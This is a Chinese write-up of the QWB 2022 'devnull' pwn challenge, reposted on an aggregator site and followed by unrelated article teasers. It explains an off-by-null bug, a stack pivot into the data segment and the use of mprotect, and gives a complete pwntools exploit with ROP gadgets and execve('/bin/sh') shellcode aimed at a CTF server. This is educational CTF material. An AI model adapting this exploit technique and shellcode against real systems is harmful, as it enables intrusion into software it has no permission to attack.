【栈迁移】强网杯2022 -- devnull

前言

题目不算难,多调一调就ok啦。但感觉我这个pay不是最优的,比较极限。

漏洞分析与利用

保护:没开 Canary 和 PIE

关键函数如下:

1)buf 的大小是32字节,而 fgets 了33字节,但是 fgets 本身最多读取32字节,最后会填上一个\x00,所以这里是一个 off by null 溢出,其刚好可以把 fd 修改为 0

2)通过1)可以把 fd 修改为0,所以这时 read(fd, &v2, nums_0x2c) 又会存在溢出,因为 v2 仅仅是一个 int 类型。但是这里刚好溢出到返回地址,所以考虑栈迁移。同时这里可以修改 ptr 指针的值

3)通过2)修改 ptr 的值,这里就可以实现任意地址写 0x60 字节。所以这里可以为栈迁移做好准备。但是在 mp 函数中会将 bss 段设置为只可读,所以这里无法栈迁移到 bss 上。但是程序没有开启 PIE 所以可以直接栈迁移到程序数据段,因为数据段是可读可写的。

栈迁移后考虑如何 get_shell,这里是无法泄漏相关 libc 地址的(主要是没有足够的 gadget 去控制 rdi/rsi/rdx 等寄存器,csu 好像也没看到),但是题目本身执行了 mprotect 函数,所以可以利用其来将一段地址设置为可执行。

然后 mprotect 这里的 rsi 可被控制为 0x1000,rdi 被设置为 rax,所以我们得想办法控制 rax = target_addr 和 rdx = 7,我们可以找到如下 gadget 控制 rax,但是题目找不到直接或间接控制 rdx 的 gadget。

0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret

但是,但是我们调试发现当栈迁移后,rdx 就是7,然后回到程序中可以发现在退出前执行了如下操作:

可以看到,rdx = strlen(str),而 "Thanks\n" 刚好7字节,所以最后 rdx 就是7

程序返回前把标准输出关了,但是每关标准错误输出,所以重定向一下就好了

然后就是去构造 rop 了,这里就是根据读者的喜好了,exp 如下:

这里运气比较好,两段 shellcode 都是 0x10 大小,刚刚合适并且刚刚好填满 0x60 字节

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'#io = process("./pwn")
io = remote("node4.anna.nssctf.cn", 28077)
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''#gdb.attach(io, 'b *0x0000000000401436')leave_ret = 0x0000000000401354 # leave ; ret
call_mprotect = 0x00000000004012D0
mov_eax = 0x0000000000401351 # mov eax, dword ptr [rbp - 0x18] ; leave ; ret
pop_rbp = 0x000000000040129d # pop rbp ; ret
jmp_rax = 0x000000000040122c # jmp rax
start = 0x3fc000 + 0x1000sda(b'filename\n', b'A'*32)
pay = b'B'*(0x1c-8) + p64(start-8) + p64(start-8) + p64(leave_ret)
sda(b'discard\n', pay)shellcode0 = asm("""xor edx, edxxor esi, esimov eax, 0x3bmov ebx, 0x3fd048jmp rbx
""")shellcode1 = asm("""mov rdi, 0x68732f6e69622fpush rdimov rdi, rspsyscall
""")
print(hex(len(shellcode0)))
print(hex(len(shellcode1)))pay  = p64(start+0x18+0x8) + p64(mov_eax) + p64(start) + shellcode0 + p64(start+0x10) + p64(call_mprotect)
pay += p64(start+0x18+0x18+0x8) + p64(mov_eax) + p64(jmp_rax) + shellcode1
print(hex(len(pay)))
sda(b'data\n', pay)#debug()
sh()

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/204301.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

灰度共生矩阵和直方图的联系与区别

灰度共生矩阵(GLCM)和直方图都是用于描述图像的统计特征,但它们的计算方法和提供的信息有所不同。 计算方法: 直方图:直方图是通过统计图像中每个灰度级别的像素数量来构建的。简单来说,直方图将图像的灰度…

机器学习---pySpark案例

1、统计PV,UV 1.if __name__ __main__: 2. conf SparkConf() 3. conf.setMaster("local") 4. conf.setAppName("test") 5. sc SparkContext(confconf) 6. 7. #pv 8. sc.textFile("./pvuv").map(lambda line:(l…

格力高管:领导力之谜,创新与团队合作的成功密码

格力高管团队一直以来都备受业界关注,他们的领导力和决策风格被认为是格力公司成功的关键因素。在商业舞台上,一支强大的领导团队往往是公司取得成功的不二法门。格力高管团队不仅仅是管理者,更是一支充满创新力和执行力的团队。 这支团队的…

浴霸市场研究:2023年市场现状及未来发展

据不完全统计,目前我国浴霸行业拥有品牌数量超过250个,市场竞争激烈,主要代表企业有奥普、美的、松桥、松下、澳柯玛、光芒、桑普、来斯奥、飞雕、万家乐等。从未来发展趋势来看,伴随着市场消费升级以及市场需求多元化发展&#x…

js优化技巧

一、使用箭头函数简化函数定义 function add(a,b){return a b; }//箭头函数 const add (a,b) > a b;二、使用解构赋值简化变量声明 const firstName person.firstName; const lastName person.lastName;//解构赋值 const {firstName,lastName} person三、使用模板字…

screen 常用命令

进入screen 123 screen -r 123 退出screen 123(不终止会话) screen -d 123 退出screen 123(终止会话) exit 重命名screen 123(不是id,id是不能改的) screen -S 123 -X sessionname new_n…

机器学习应用 | 使用 MATLAB 进行异常检测(上)

异常检测任务,指的是检测偏离期望行为的事件或模式,可以是简单地检测数值型数据中,是否存在远超出正常取值范围的离群值,也可以是借助相对复杂的机器学习算法识别数据中隐藏的异常模式。 在不同行业中,异常检测的典型…

EasyX图形化学习

1.EasyX是什么&#xff1f; 是基于Windows的图形编程&#xff0c;给用户提供函数接口&#xff0c;最终函数调用会由Windows的API实现。 注&#xff1a;EasyX只适配 c 。 2.头文件&#xff1a; <easyx.h>---只包含最新的函数 <graphics.h>---包含<easyx.h&g…

如何解决ajax浏览器缓存

在使用 Ajax 进行异步请求时&#xff0c;由于浏览器的缓存机制&#xff0c;可能会导致请求结果不符合预期或者无法获取最新的数据。以下是解决 Ajax 中浏览器缓存问题的几种常见方法&#xff1a; 添加时间戳或随机数&#xff1a;可以在每次请求时&#xff0c;给 URL 后添加一个…

集成学习算法随机森林发生过拟合时,如何调整超参数?

当随机森林算法发生过拟合时&#xff0c;可以通过调整以下超参数来解决问题&#xff1a; 1 n_estimators&#xff08;树的数量&#xff09;&#xff1a;增加树的数量可以降低模型的过拟合程度。通过增加树的数量&#xff0c;可以减少每棵树对最终预测结果的影响&#xff0c;从…

动态内存管理(扫盲式讲解)

前言&#xff1a;学好数据结构的三大法宝&#xff1a;指针、结构体、动态内存管理&#xff0c;指针前面讲的已经很细了&#xff0c;大家看完了基本上指针方法是没啥问题的 1 为什么要有动态内存的开辟&#xff1f; 因为动态内存的开辟是在堆区里面的&#xff0c;可以释放&…

Qt之基于QMediaPlayer的音视频播放器(支持常见音视频格式)

Qt自带了一个Media Player的例子,如下图所示: 但是运行这个例子机会发现,连最基本的MP4格式视频都播放不了。因为QMediaPlayer是个壳(也可以叫框架),依赖本地解码器,视频这块默认基本上就播放个MP4,甚至连MP4都不能播放,如果要支持其他格式需要下载k-lite或者LAVFilte…

回归模型中多重共线性问题——逐步回归法、方差膨胀因子(VIF)、因子分析【含代码与解释】

特征之间的多重共线性&#xff0c;是指在回归模型中&#xff0c;自变量之间存在高度的线性相关性&#xff0c;导致回归系数的估计不准确&#xff0c;不稳定&#xff0c;甚至不可信的现象。多重共线性的存在会影响模型的解释能力和预测能力&#xff0c;增加模型的复杂度和不确定…

机器学习---环境准备

一、pySpark环境准备 1、window配置python环境变量 window安装python&#xff0c;配置python环境变量。安装python后,在环境变量path中加入安装的路径&#xff0c;cmd中输入python&#xff0c;检验python是否安装成功。 注意&#xff1a;如果使用的是anaconda安装的python环境…

MySql MVCC 详解

注意以下操作都是以InnoDB引擎为操作基准。 一&#xff0c;前置知识准备 1&#xff0c;MVCC简介 MVCC 是多版本并发控制&#xff08;Multiversion Concurrency Control&#xff09;的缩写。它是一种数据库事务管理技术&#xff0c;用于解决并发访问数据库的问题。MVCC 通过创…

Matlab使用基础

基本命令 clear all %清除Workspace中的所有变量 clc %清除Command Window中的所有命令 %和%%是注释基础函数 abs()%取绝对值 char(65)%将ASCII码数值变成字符 num2str(65)%将里面的内容变成字符串 length()%字符串长度&#xff0c;不把/0的长度计算进去 矩阵 A[1 2 3;4 5 …

C语言-指针运算

1 1 2&#xff1f; 给一个指针加1表示要让指针指向下一个变量 int a[10]; int *p a; *(p 1) —>a[1]如果指针不是指向一片连续分配的空间&#xff0c;如数组&#xff0c;则这种运算没有意义 指针运算 这些算术运算可以对指针做&#xff1a;给指针加、减一个整数&…

python循环遍历指定路径下所有文件夹和文件

可以使用Python的内置库os和os.path来遍历文件夹。以下是一个简单的示例&#xff0c;该示例遍历给定目录下的所有文件和文件夹&#xff0c;并打印出文件类型和名称。 import osdef print_files(path):for root, dirs, files in os.walk(path):for file in files:print(os.path…

MinIO使用

MinIO基于Apache License v2.0开源协议的对象存储服务&#xff0c;可以做为云存储的解决方案用来保存海量的图片&#xff0c;视频&#xff0c;文档。由于采用Golang实现&#xff0c;服务端可以工作在Windows,Linux, OS X和FreeBSD上。配置简单&#xff0c;基本是复制可执行程序…

Python 有趣的几个案例

1 有趣的回文数 **题目需求&#xff1a;**对于任何自然数&#xff0c;将它自身和它的倒序数&#xff08;反转过来&#xff09;相加&#xff0c;再将得到的和与它的倒序数相加&#xff0c;一直重复&#xff0c;最终总会得到一个回文数。 提示&#xff1b;回文数&#xff0c;如 …